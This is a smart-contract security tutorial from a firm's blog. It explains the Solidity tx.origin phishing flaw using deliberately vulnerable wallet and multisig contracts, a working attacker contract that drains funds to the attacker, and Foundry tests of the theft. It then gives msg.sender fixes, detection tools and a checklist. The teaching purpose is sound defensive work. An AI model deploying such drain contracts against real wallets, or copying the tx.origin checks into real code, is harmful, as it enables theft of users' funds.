BeginnerHigh Severity

tx.origin Phishing Attacks

Why using tx.origin for authentication is dangerous and how attackers can exploit it to drain funds through seemingly innocent interactions.

4 min readUpdated Jan 2025By Hexific Security Team
Easy
To Understand
100%
Fund Drainage
1 Line
Fix Required
msg.sender
The Solution

Understanding tx.origin vs msg.sender

Before diving into the attack, it's crucial to understand the difference between these two global variables that identify who is calling your contract.

msg.sender

The immediate caller of the current function. This changes with each call in the chain.

  • • Can be an EOA (user wallet)
  • • Can be a contract
  • • Changes at each call level
  • Safe for authentication
⚠️

tx.origin

The original sender who initiated the transaction. This never changes, regardless of how many contracts are called.

  • • Always an EOA (user wallet)
  • • Never a contract
  • • Same throughout entire tx
  • Dangerous for authentication

🔗 Call Chain Visualization

👤
Alice (EOA)

Initiates transaction

tx.origin = Alice
msg.sender = N/A
📄
Contract A

First contract called

tx.origin = Alice
msg.sender = Alice
📄
Contract B

Called by Contract A

tx.origin = Alice ← Same!
msg.sender = Contract A ← Changed!
💡 Key insight: tx.origin always points to Alice, even when Contract A calls Contract B. This is what enables the phishing attack!

How the Attack Works

The tx.origin phishing attack exploits the fact that tx.origin doesn't change when a contract makes a call. An attacker tricks a victim into interacting with a malicious contract, which then calls the victim's contract using the victim's identity.

🎣 Phishing Attack Flow

1
Attacker Deploys Malicious Contract

The attacker creates a contract that looks innocent (e.g., airdrop claim, NFT mint, or fake DeFi protocol).

2
Victim Interacts with Malicious Contract

Through social engineering (fake website, Discord link, etc.), the victim is tricked into calling a function on the malicious contract.

3
Malicious Contract Calls Victim's Wallet Contract

The malicious contract internally calls the victim's wallet (or any contract that uses tx.origin for auth).

4
tx.origin Check Passes!

Since tx.origin is still the victim's address, the wallet contract thinks the legitimate owner is making the call. Funds are stolen.

Complete Attack Scenario

Let's walk through a complete attack with code. Imagine a simple wallet contract that uses tx.origin to verify the owner:

VulnerableWallet.sol
1// 🚨 VULNERABLE: Wallet using tx.origin for authentication
2contract VulnerableWallet {
3    address public owner;
4    
5    constructor() {
6        owner = msg.sender;
7    }
8    
9    // 💀 DANGEROUS: Uses tx.origin for authentication
10    function withdraw(address to, uint256 amount) external {
11        require(tx.origin == owner, "Not owner");  // 🚨 BUG!
12        
13        (bool success,) = to.call{value: amount}("");
14        require(success, "Transfer failed");
15    }
16    
17    receive() external payable {}
18}

Now the attacker deploys a phishing contract:

PhishingContract.sol
1// 🎣 ATTACKER: Phishing contract disguised as legitimate service
2contract PhishingContract {
3    VulnerableWallet public targetWallet;
4    address public attacker;
5    
6    constructor(address _wallet) {
7        targetWallet = VulnerableWallet(payable(_wallet));
8        attacker = msg.sender;
9    }
10    
11    // Disguised as "claim airdrop" or "mint NFT"
12    function claimReward() external {
13        // Victim thinks they're claiming a reward...
14        // But this actually calls the victim's wallet!
15        
16        // tx.origin is still the victim, so this works!
17        targetWallet.withdraw(
18            attacker,
19            address(targetWallet).balance
20        );
21    }
22    
23    // Or hidden in a fallback/receive function
24    receive() external payable {
25        // Even just receiving ETH can trigger the attack!
26        if (address(targetWallet).balance > 0) {
27            targetWallet.withdraw(attacker, address(targetWallet).balance);
28        }
29    }
30}

Attack Execution

  1. Alice deploys VulnerableWallet and deposits 10 ETH
  2. Attacker deploys PhishingContract pointing to Alice's wallet
  3. Attacker sends Alice a fake "Free NFT" link
  4. Alice calls claimReward() on the phishing contract
  5. tx.origin = Alice, so the wallet thinks Alice is calling
  6. All 10 ETH transferred to attacker! 💸
TxOriginTest.t.sol
1// Attack flow in Foundry test
2function test_TxOriginPhishing() public {
3    // Setup: Alice creates wallet with 10 ETH
4    vm.prank(alice);
5    VulnerableWallet wallet = new VulnerableWallet();
6    vm.deal(address(wallet), 10 ether);
7    
8    // Attacker deploys phishing contract
9    vm.prank(attacker);
10    PhishingContract phishing = new PhishingContract(address(wallet));
11    
12    uint256 attackerBalanceBefore = attacker.balance;
13    
14    // 🎣 Alice is tricked into calling the phishing contract
15    // She thinks she's claiming an airdrop
16    vm.prank(alice);  // tx.origin = alice
17    phishing.claimReward();
18    
19    // 💀 All funds stolen!
20    assertEq(address(wallet).balance, 0);
21    assertEq(attacker.balance, attackerBalanceBefore + 10 ether);
22}

Vulnerable Code Patterns

❌ Pattern 1: Direct tx.origin Check

BadOnlyOwner.sol
1// 🚨 VULNERABLE
2contract BadContract {
3    address owner;
4    
5    modifier onlyOwner() {
6        require(tx.origin == owner, "Not owner");  // 💀 WRONG!
7        _;
8    }
9    
10    function sensitiveAction() external onlyOwner {
11        // Can be called by any contract when owner interacts with it
12    }
13}

❌ Pattern 2: tx.origin in Constructor

BadFactory.sol
1// 🚨 VULNERABLE: Can be exploited via factory patterns
2contract BadFactory {
3    address public admin;
4    
5    constructor() {
6        admin = tx.origin;  // 💀 If deployed by another contract, wrong admin!
7    }
8}

❌ Pattern 3: tx.origin for Multi-sig

BadMultiSig.sol
1// 🚨 VULNERABLE: Multi-sig with tx.origin
2contract BadMultiSig {
3    mapping(address => bool) public isOwner;
4    
5    function executeTransaction(address to, uint256 value) external {
6        // 💀 Any owner interacting with ANY contract can trigger this
7        require(isOwner[tx.origin], "Not owner");
8        
9        (bool success,) = to.call{value: value}("");
10        require(success);
11    }
12}

❌ Pattern 4: Mixed Usage (Still Dangerous)

StillVulnerable.sol
1// 🚨 VULNERABLE: Mixing tx.origin with msg.sender doesn't help
2contract StillVulnerable {
3    address owner;
4    
5    function withdraw() external {
6        // This check is useless if the next one uses tx.origin
7        require(msg.sender != address(0), "Zero sender");
8        
9        // 💀 Still vulnerable!
10        require(tx.origin == owner, "Not owner");
11        
12        // Drain funds...
13    }
14}

Real-World Context

While tx.origin phishing is well-documented and taught in every Solidity course, it remains a risk because:

Legacy Contracts

Ongoing Risk

Many early Ethereum contracts (2015-2017) used tx.origin before the vulnerability was widely understood. Some still hold significant value.

Smart Contract Wallets

Account Abstraction Era

With ERC-4337 and smart contract wallets becoming common, tx.origin-based checks become even more problematic as the transaction initiator may differ from the account owner.

CTF Challenges & Education

Learning

tx.origin phishing is featured in Ethernaut (Level 4), Damn Vulnerable DeFi, and other CTFs because it's a fundamental concept every developer must understand.

Auditor Findings

Common in Audits

Security auditors regularly flag tx.origin usage. It's considered a high-severity finding by most audit firms and automated tools like Slither and Mythril.

Why This Still Matters

Even though tx.origin phishing is "well known," new developers make this mistake regularly. According to audit statistics, approximately 2-3% of audited contracts still contain tx.origin vulnerabilities.

Prevention Strategies

Use msg.sender

Always use msg.sender for authentication. It represents the immediate caller, which is what you actually want to verify.

📦

Use OpenZeppelin

Use OpenZeppelin's Ownable, AccessControl, or other auth patterns. They're audited and never use tx.origin.

🔧

Use Static Analysis

Tools like Slither automatically detect tx.origin usage. Add them to your CI/CD pipeline.

🧪

Test Attack Scenarios

Write tests that simulate phishing attacks. If your contract can be exploited via intermediary contracts, you'll catch it.

✅ Correct Implementation

SecureWallet.sol
1// ✅ SECURE: Using msg.sender for authentication
2contract SecureWallet {
3    address public owner;
4    
5    constructor() {
6        owner = msg.sender;  // ✅ msg.sender is fine in constructor
7    }
8    
9    modifier onlyOwner() {
10        require(msg.sender == owner, "Not owner");  // ✅ CORRECT!
11        _;
12    }
13    
14    function withdraw(address to, uint256 amount) external onlyOwner {
15        (bool success,) = to.call{value: amount}("");
16        require(success, "Transfer failed");
17    }
18    
19    function transferOwnership(address newOwner) external onlyOwner {
20        require(newOwner != address(0), "Zero address");
21        owner = newOwner;
22    }
23    
24    receive() external payable {}
25}
26
27// Even better: Use OpenZeppelin
28import "@openzeppelin/contracts/access/Ownable.sol";
29
30contract BetterWallet is Ownable {
31    constructor() Ownable(msg.sender) {}
32    
33    function withdraw(address to, uint256 amount) external onlyOwner {
34        (bool success,) = to.call{value: amount}("");
35        require(success, "Transfer failed");
36    }
37    
38    receive() external payable {}
39}

✅ Preventing Phishing Attack

PhishingFails.t.sol
1// With msg.sender, the phishing attack FAILS
2contract PhishingContract {
3    SecureWallet public targetWallet;
4    address public attacker;
5    
6    constructor(address _wallet) {
7        targetWallet = SecureWallet(payable(_wallet));
8        attacker = msg.sender;
9    }
10    
11    function attemptPhishing() external {
12        // This will REVERT!
13        // msg.sender in SecureWallet will be THIS contract, not the victim
14        // "Not owner" error will be thrown
15        targetWallet.withdraw(attacker, address(targetWallet).balance);
16    }
17}
18
19// Test showing the attack fails
20function test_PhishingFails() public {
21    // Alice creates secure wallet
22    vm.prank(alice);
23    SecureWallet wallet = new SecureWallet();
24    vm.deal(address(wallet), 10 ether);
25    
26    // Attacker deploys phishing contract
27    vm.prank(attacker);
28    PhishingContract phishing = new PhishingContract(address(wallet));
29    
30    // Alice is tricked into calling phishing contract
31    vm.prank(alice);
32    
33    // ✅ This reverts! Funds are SAFE!
34    vm.expectRevert("Not owner");
35    phishing.attemptPhishing();
36    
37    // Wallet still has all funds
38    assertEq(address(wallet).balance, 10 ether);
39}

Legitimate Uses of tx.origin

While tx.origin should never be used for authentication, there are a few legitimate use cases:

LegitimateUses.sol
1// ✅ LEGITIMATE: Preventing contracts from calling
2contract NoContractCalls {
3    // Ensure only EOAs can call, not contracts
4    // Useful for some anti-bot mechanisms
5    modifier onlyEOA() {
6        require(tx.origin == msg.sender, "No contracts allowed");
7        _;
8    }
9    
10    function humanOnlyAction() external onlyEOA {
11        // Only externally owned accounts can call this
12        // Note: This is NOT foolproof (constructor calls bypass this)
13    }
14}
15
16// ✅ LEGITIMATE: Gas refunds to transaction initiator
17contract GasRefunder {
18    function expensiveOperation() external {
19        uint256 gasStart = gasleft();
20        
21        // ... do expensive work ...
22        
23        // Refund gas to the actual user who paid for the tx
24        uint256 gasUsed = gasStart - gasleft();
25        uint256 refund = gasUsed * tx.gasprice;
26        
27        // tx.origin is appropriate here - refund goes to whoever paid
28        payable(tx.origin).transfer(refund);
29    }
30}
31
32// ✅ LEGITIMATE: Logging/analytics (non-security-critical)
33contract Analytics {
34    event UserAction(address indexed txOrigin, address indexed caller, string action);
35    
36    function doSomething() external {
37        // Using tx.origin for analytics is fine
38        // It's not used for any security decisions
39        emit UserAction(tx.origin, msg.sender, "doSomething");
40        
41        // Security-critical logic uses msg.sender
42        require(msg.sender == owner, "Not authorized");
43    }
44}

⚠️ EOA Check Limitations

The tx.origin == msg.sender check to prevent contract calls can be bypassed by calling from a contract's constructor (during deployment, the contract has no code yet). This is not a reliable anti-bot mechanism.

Testing for tx.origin Issues

TxOriginTest.t.sol
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.19;
3
4import "forge-std/Test.sol";
5
6// Contract to test
7contract TargetContract {
8    address public owner;
9    uint256 public value;
10    bool public useTxOrigin;  // Toggle for testing both
11    
12    constructor(bool _useTxOrigin) {
13        owner = msg.sender;
14        useTxOrigin = _useTxOrigin;
15    }
16    
17    function setValue(uint256 _value) external {
18        if (useTxOrigin) {
19            require(tx.origin == owner, "Not owner");  // 🚨 Vulnerable
20        } else {
21            require(msg.sender == owner, "Not owner");  // ✅ Secure
22        }
23        value = _value;
24    }
25}
26
27// Attacker contract for phishing simulation
28contract AttackerContract {
29    TargetContract public target;
30    
31    constructor(address _target) {
32        target = TargetContract(_target);
33    }
34    
35    function attack(uint256 maliciousValue) external {
36        target.setValue(maliciousValue);
37    }
38}
39
40contract TxOriginTest is Test {
41    address owner = makeAddr("owner");
42    address attacker = makeAddr("attacker");
43    
44    function test_TxOriginVulnerable() public {
45        // Deploy vulnerable contract
46        vm.prank(owner);
47        TargetContract vulnerable = new TargetContract(true);  // Uses tx.origin
48        
49        // Deploy attacker contract
50        vm.prank(attacker);
51        AttackerContract attackerContract = new AttackerContract(address(vulnerable));
52        
53        // 🎣 Owner is tricked into calling attacker's contract
54        vm.prank(owner);
55        attackerContract.attack(999);  // Phishing!
56        
57        // 💀 Attack succeeded - value was changed through intermediary
58        assertEq(vulnerable.value(), 999);
59    }
60    
61    function test_MsgSenderSecure() public {
62        // Deploy secure contract  
63        vm.prank(owner);
64        TargetContract secure = new TargetContract(false);  // Uses msg.sender
65        
66        // Deploy attacker contract
67        vm.prank(attacker);
68        AttackerContract attackerContract = new AttackerContract(address(secure));
69        
70        // 🎣 Owner is tricked into calling attacker's contract
71        vm.prank(owner);
72        
73        // ✅ Attack FAILS - msg.sender is the attacker contract, not owner
74        vm.expectRevert("Not owner");
75        attackerContract.attack(999);
76        
77        // Value unchanged
78        assertEq(secure.value(), 0);
79    }
80    
81    function test_DirectCallStillWorks() public {
82        vm.prank(owner);
83        TargetContract secure = new TargetContract(false);
84        
85        // Direct calls by owner still work
86        vm.prank(owner);
87        secure.setValue(42);
88        
89        assertEq(secure.value(), 42);
90    }
91    
92    // Fuzz test: no intermediary should be able to impersonate owner
93    function testFuzz_NoImpersonation(address intermediary, uint256 value) public {
94        vm.assume(intermediary != owner);
95        vm.assume(intermediary != address(0));
96        
97        vm.prank(owner);
98        TargetContract secure = new TargetContract(false);
99        
100        // Create intermediary contract
101        vm.prank(intermediary);
102        AttackerContract attackerContract = new AttackerContract(address(secure));
103        
104        // Owner calling through intermediary should fail
105        vm.prank(owner);
106        vm.expectRevert("Not owner");
107        attackerContract.attack(value);
108    }
109}

🔧 Detection Tools

Slither
slither . --detect tx-origin
Mythril
myth analyze Contract.sol
Solhint
solhint "**/*.sol"
Aderyn
aderyn .

✅ tx.origin Safety Checklist

Never use tx.origin for authentication
Always use msg.sender for access control
Use OpenZeppelin Ownable/AccessControl
Run Slither with tx-origin detector
Test with intermediary contract attacks
Review all require() statements for tx.origin
Check constructor for tx.origin usage
Consider smart contract wallet compatibility

📚 Quick Reference

Aspecttx.originmsg.sender
DefinitionOriginal transaction senderImmediate caller
Can be contract?❌ Never (always EOA)✅ Yes
Changes in call chain?❌ No (stays same)✅ Yes (updates per call)
Safe for auth?❌ No✅ Yes
Phishing vulnerable?⚠️ Yes✅ No